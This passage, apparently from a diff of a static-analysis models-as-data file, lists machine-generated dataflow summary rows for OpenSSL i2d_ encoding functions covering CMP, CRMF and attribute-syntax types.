"df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(const OSSL_ALLOWED_ATTRIBUTES_CHOICE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(const OSSL_ALLOWED_ATTRIBUTES_CHOICE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(const OSSL_ALLOWED_ATTRIBUTES_ITEM *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(const OSSL_ALLOWED_ATTRIBUTES_ITEM *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(const OSSL_ALLOWED_ATTRIBUTES_ITEM *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(const OSSL_ALLOWED_ATTRIBUTES_ITEM *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(const OSSL_ALLOWED_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(const OSSL_ALLOWED_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(const OSSL_ALLOWED_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(const OSSL_ALLOWED_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATAV", "(const OSSL_ATAV *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ATAV", "(const OSSL_ATAV *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATAV", "(const OSSL_ATAV *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATAV", "(const OSSL_ATAV *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTES_SYNTAX", "(const OSSL_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTES_SYNTAX", "(const OSSL_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTES_SYNTAX", "(const OSSL_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTES_SYNTAX", "(const OSSL_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_DESCRIPTOR", "(const OSSL_ATTRIBUTE_DESCRIPTOR *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_DESCRIPTOR", "(const OSSL_ATTRIBUTE_DESCRIPTOR *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_DESCRIPTOR", "(const OSSL_ATTRIBUTE_DESCRIPTOR *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_DESCRIPTOR", "(const OSSL_ATTRIBUTE_DESCRIPTOR *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPING", "(const OSSL_ATTRIBUTE_MAPPING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPING", "(const OSSL_ATTRIBUTE_MAPPING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPING", "(const OSSL_ATTRIBUTE_MAPPING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPING", "(const OSSL_ATTRIBUTE_MAPPING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPINGS", "(const OSSL_ATTRIBUTE_MAPPINGS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPINGS", "(const OSSL_ATTRIBUTE_MAPPINGS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPINGS", "(const OSSL_ATTRIBUTE_MAPPINGS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPINGS", "(const OSSL_ATTRIBUTE_MAPPINGS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_TYPE_MAPPING", "(const OSSL_ATTRIBUTE_TYPE_MAPPING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_TYPE_MAPPING", "(const OSSL_ATTRIBUTE_TYPE_MAPPING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_TYPE_MAPPING", "(const OSSL_ATTRIBUTE_TYPE_MAPPING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_TYPE_MAPPING", "(const OSSL_ATTRIBUTE_TYPE_MAPPING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_VALUE_MAPPING", "(const OSSL_ATTRIBUTE_VALUE_MAPPING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_VALUE_MAPPING", "(const OSSL_ATTRIBUTE_VALUE_MAPPING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_VALUE_MAPPING", "(const OSSL_ATTRIBUTE_VALUE_MAPPING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_VALUE_MAPPING", "(const OSSL_ATTRIBUTE_VALUE_MAPPING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_BASIC_ATTR_CONSTRAINTS", "(const OSSL_BASIC_ATTR_CONSTRAINTS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_BASIC_ATTR_CONSTRAINTS", "(const OSSL_BASIC_ATTR_CONSTRAINTS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_BASIC_ATTR_CONSTRAINTS", "(const OSSL_BASIC_ATTR_CONSTRAINTS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_BASIC_ATTR_CONSTRAINTS", "(const OSSL_BASIC_ATTR_CONSTRAINTS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ATAVS", "(const OSSL_CMP_ATAVS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_ATAVS", "(const OSSL_CMP_ATAVS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ATAVS", "(const OSSL_CMP_ATAVS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ATAVS", "(const OSSL_CMP_ATAVS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CAKEYUPDANNCONTENT", "(const OSSL_CMP_CAKEYUPDANNCONTENT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CAKEYUPDANNCONTENT", "(const OSSL_CMP_CAKEYUPDANNCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CAKEYUPDANNCONTENT", "(const OSSL_CMP_CAKEYUPDANNCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CAKEYUPDANNCONTENT", "(const OSSL_CMP_CAKEYUPDANNCONTENT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTIFIEDKEYPAIR", "(const OSSL_CMP_CERTIFIEDKEYPAIR *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTIFIEDKEYPAIR", "(const OSSL_CMP_CERTIFIEDKEYPAIR *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTIFIEDKEYPAIR", "(const OSSL_CMP_CERTIFIEDKEYPAIR *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTIFIEDKEYPAIR", "(const OSSL_CMP_CERTIFIEDKEYPAIR *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTORENCCERT", "(const OSSL_CMP_CERTORENCCERT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTORENCCERT", "(const OSSL_CMP_CERTORENCCERT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTORENCCERT", "(const OSSL_CMP_CERTORENCCERT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTORENCCERT", "(const OSSL_CMP_CERTORENCCERT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREPMESSAGE", "(const OSSL_CMP_CERTREPMESSAGE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREPMESSAGE", "(const OSSL_CMP_CERTREPMESSAGE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREPMESSAGE", "(const OSSL_CMP_CERTREPMESSAGE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREPMESSAGE", "(const OSSL_CMP_CERTREPMESSAGE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREQTEMPLATE", "(const OSSL_CMP_CERTREQTEMPLATE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREQTEMPLATE", "(const OSSL_CMP_CERTREQTEMPLATE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREQTEMPLATE", "(const OSSL_CMP_CERTREQTEMPLATE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREQTEMPLATE", "(const OSSL_CMP_CERTREQTEMPLATE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTRESPONSE", "(const OSSL_CMP_CERTRESPONSE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTRESPONSE", "(const OSSL_CMP_CERTRESPONSE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTRESPONSE", "(const OSSL_CMP_CERTRESPONSE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTRESPONSE", "(const OSSL_CMP_CERTRESPONSE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTSTATUS", "(const OSSL_CMP_CERTSTATUS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTSTATUS", "(const OSSL_CMP_CERTSTATUS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTSTATUS", "(const OSSL_CMP_CERTSTATUS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTSTATUS", "(const OSSL_CMP_CERTSTATUS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CHALLENGE", "(const OSSL_CMP_CHALLENGE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CHALLENGE", "(const OSSL_CMP_CHALLENGE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CHALLENGE", "(const OSSL_CMP_CHALLENGE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CHALLENGE", "(const OSSL_CMP_CHALLENGE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSOURCE", "(const OSSL_CMP_CRLSOURCE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSOURCE", "(const OSSL_CMP_CRLSOURCE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSOURCE", "(const OSSL_CMP_CRLSOURCE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSOURCE", "(const OSSL_CMP_CRLSOURCE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSTATUS", "(const OSSL_CMP_CRLSTATUS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSTATUS", "(const OSSL_CMP_CRLSTATUS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSTATUS", "(const OSSL_CMP_CRLSTATUS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSTATUS", "(const OSSL_CMP_CRLSTATUS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ERRORMSGCONTENT", "(const OSSL_CMP_ERRORMSGCONTENT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_ERRORMSGCONTENT", "(const OSSL_CMP_ERRORMSGCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ERRORMSGCONTENT", "(const OSSL_CMP_ERRORMSGCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ERRORMSGCONTENT", "(const OSSL_CMP_ERRORMSGCONTENT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ITAV", "(const OSSL_CMP_ITAV *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_ITAV", "(const OSSL_CMP_ITAV *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ITAV", "(const OSSL_CMP_ITAV *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ITAV", "(const OSSL_CMP_ITAV *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_KEYRECREPCONTENT", "(const OSSL_CMP_KEYRECREPCONTENT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_KEYRECREPCONTENT", "(const OSSL_CMP_KEYRECREPCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_KEYRECREPCONTENT", "(const OSSL_CMP_KEYRECREPCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_KEYRECREPCONTENT", "(const OSSL_CMP_KEYRECREPCONTENT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_MSG", "(const OSSL_CMP_MSG *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_MSG", "(const OSSL_CMP_MSG *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_MSG", "(const OSSL_CMP_MSG *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_MSG", "(const OSSL_CMP_MSG *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIBODY", "(const OSSL_CMP_PKIBODY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIBODY", "(const OSSL_CMP_PKIBODY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIBODY", "(const OSSL_CMP_PKIBODY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIBODY", "(const OSSL_CMP_PKIBODY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIHEADER", "(const OSSL_CMP_PKIHEADER *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIHEADER", "(const OSSL_CMP_PKIHEADER *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIHEADER", "(const OSSL_CMP_PKIHEADER *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIHEADER", "(const OSSL_CMP_PKIHEADER *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKISI", "(const OSSL_CMP_PKISI *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKISI", "(const OSSL_CMP_PKISI *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKISI", "(const OSSL_CMP_PKISI *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKISI", "(const OSSL_CMP_PKISI *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREP", "(const OSSL_CMP_POLLREP *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREP", "(const OSSL_CMP_POLLREP *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREP", "(const OSSL_CMP_POLLREP *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREP", "(const OSSL_CMP_POLLREP *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREQ", "(const OSSL_CMP_POLLREQ *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREQ", "(const OSSL_CMP_POLLREQ *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREQ", "(const OSSL_CMP_POLLREQ *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREQ", "(const OSSL_CMP_POLLREQ *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PROTECTEDPART", "(const OSSL_CMP_PROTECTEDPART *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_PROTECTEDPART", "(const OSSL_CMP_PROTECTEDPART *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PROTECTEDPART", "(const OSSL_CMP_PROTECTEDPART *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PROTECTEDPART", "(const OSSL_CMP_PROTECTEDPART *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVANNCONTENT", "(const OSSL_CMP_REVANNCONTENT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVANNCONTENT", "(const OSSL_CMP_REVANNCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVANNCONTENT", "(const OSSL_CMP_REVANNCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVANNCONTENT", "(const OSSL_CMP_REVANNCONTENT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVDETAILS", "(const OSSL_CMP_REVDETAILS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVDETAILS", "(const OSSL_CMP_REVDETAILS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVDETAILS", "(const OSSL_CMP_REVDETAILS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVDETAILS", "(const OSSL_CMP_REVDETAILS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVREPCONTENT", "(const OSSL_CMP_REVREPCONTENT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVREPCONTENT", "(const OSSL_CMP_REVREPCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVREPCONTENT", "(const OSSL_CMP_REVREPCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVREPCONTENT", "(const OSSL_CMP_REVREPCONTENT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ROOTCAKEYUPDATE", "(const OSSL_CMP_ROOTCAKEYUPDATE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_ROOTCAKEYUPDATE", "(const OSSL_CMP_ROOTCAKEYUPDATE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ROOTCAKEYUPDATE", "(const OSSL_CMP_ROOTCAKEYUPDATE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ROOTCAKEYUPDATE", "(const OSSL_CMP_ROOTCAKEYUPDATE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTID", "(const OSSL_CRMF_CERTID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTID", "(const OSSL_CRMF_CERTID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTID", "(const 